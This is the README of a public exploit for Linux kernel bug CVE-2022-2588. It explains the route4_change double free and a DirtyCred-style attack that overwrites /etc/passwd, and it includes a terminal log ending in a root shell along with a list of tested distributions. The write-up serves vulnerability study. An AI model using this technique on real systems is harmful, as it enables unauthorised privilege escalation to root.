exploit for CVE-2022-2588

Primary LanguageC

CVE-2022-2588 ContributorsAugSepOctNovDecJanFebMarAprMayJunJulAugSunTueThuSat


The fix

The bug is fixed in Linux v5.19 by this commit.

The bug

The bug was introduced in Linux v3.17 by this commit back to 2014. It requires User Namespaces to trigger. This bug is very similar to CVE-2021-3715, which was caused by improper operation on the route4_filter's linked list. More details of CVE-2021-3715 could be found at the blackhat talk (page 16). The following is some brief details of CVE-2022-2588.

The following shows some important code snippets of function route4_change for understanding CVE-2022-2588.

static int route4_change(...)
    f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);      [0]
    // if there exists a filter with the same handler, copy some information
    if (fold) {                                                 [1]
        f->id = fold->id;
        f->iif = fold->iif;
        f->res = fold->res;
        f->handle = fold->handle;

        f->tp = fold->tp;
        f->bkt = fold->bkt;
        new = false;
    // initialize the new filter
    err = route4_set_parms(net, tp, base, f, handle, head, tb,  [2]
                   tca[TCA_RATE], new, flags, extack);
    if (err < 0)
        goto errout;

    // insert the new filter to the list
    h = from_hash(f->handle >> 16);                             [3]
    fp = &f->bkt->ht[h];
    for (pfp = rtnl_dereference(*fp);
         (f1 = rtnl_dereference(*fp)) != NULL;
         fp = &f1->next)
        if (f->handle < f1->handle)

    rcu_assign_pointer(f->next, f1);
    rcu_assign_pointer(*fp, f);
    // remove fold filter from the list if fold exists
    if (fold && fold->handle && f->handle != fold->handle) {    [4]
        th = to_hash(fold->handle);
        h = from_hash(fold->handle >> 16);
        b = rtnl_dereference(head->table[th]);
        if (b) {
            fp = &b->ht[h];
            for (pfp = rtnl_dereference(*fp); pfp;
                 fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
                if (pfp == fold) {
                    rcu_assign_pointer(*fp, fold->next);  [5]// remove the old from the linked list
    // free the fold filter if it exists                         [6]
    if (fold) {
        tcf_unbind_filter(tp, &fold->res);
        tcf_queue_work(&fold->rwork, route4_delete_filter_work);

The function is implemented to initialize/replace route4_filter object. The filter uses handle as an unique id to distinguish between each filter. If there exists a handle that has been initialized before (i.e. the fold variable is not null), it will update the filter by removing the old filter and adding a new filter, otherwise, it will just add a new filter.

In [0], kernel allocate the route4_filter object. In [1], if fold is not empty, which means there exists a filter with the same handle, it will copy some information to the new filter and initialize the new filter in [2], then insert the new filter to the list in [3]. If the old filter exists, it gets removed from list in [4] and gets freed in [6].

The bug happens in [4], which checks whether there exists an old filter to be removed. The condition ensures that the handle shouldn't be zero and it should match with the new filter's handle. This condition doesn't align with the condition of freeing the filter in [6], which only checks if the old filter exists. Therefore, if users create a filter whose handle is 0, then trigger the replacement of it, the filter will not be unlinked in [4] but gets freed in [6] since their condition isn't the same.

The exploitation

Since this bug is similar to CVE-2021-3715, their primitives are nearly the same. Readers could refer to the the blackhat talk for more detailed description of primitives. This write-up shows the exploitation with the idea of DirtyCred.

Since the freed fold is still on the linked list after triggering the bug, we could free the fold once again, which eventually will cause a double free on the route4_filer object and route4_filter->exts.action object if CONFIG_NET_CLS_ACT is enabled.

The exploit codes utilize those two double-free capabilities to demonstrate the attack on task credentials (utilizing kmalloc-192 double free, to be coming) and open file credentials (utilizing kmalloc-256 double free).

Attacking file credential

Following the idea of DirtyCred, the exploit code swaps the file credential after the permission checks, so we could write any content to files with read permission. Ideally, the code could work across all kernel versions affected by the bug. It is noted that in order to make sure the code will work on older kernels where msg_msg is isolated in kmalloc-rcl-*, the exploit uses a different spray object.

[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096          hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
[zip@localhost ~]$ head -n 4 /etc/passwd
[zip@localhost ~]$ su user # the password is user
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)

The exploit was written to work on as more distroes as possible, it was tested to be working on

  • Ubuntu 18 (xxx ~ xxx)
  • Ubuntu 20 (xxx ~ xxx)
  • Centos 8/Stream (xxx ~ xxx)

(Please feel free to send a PR to update this if you find it could work on other kernels.)

Want to play the exploit in the VM?

Please login with user low and password low

Ubuntu 20

nc 1337

Centos 8

nc 1338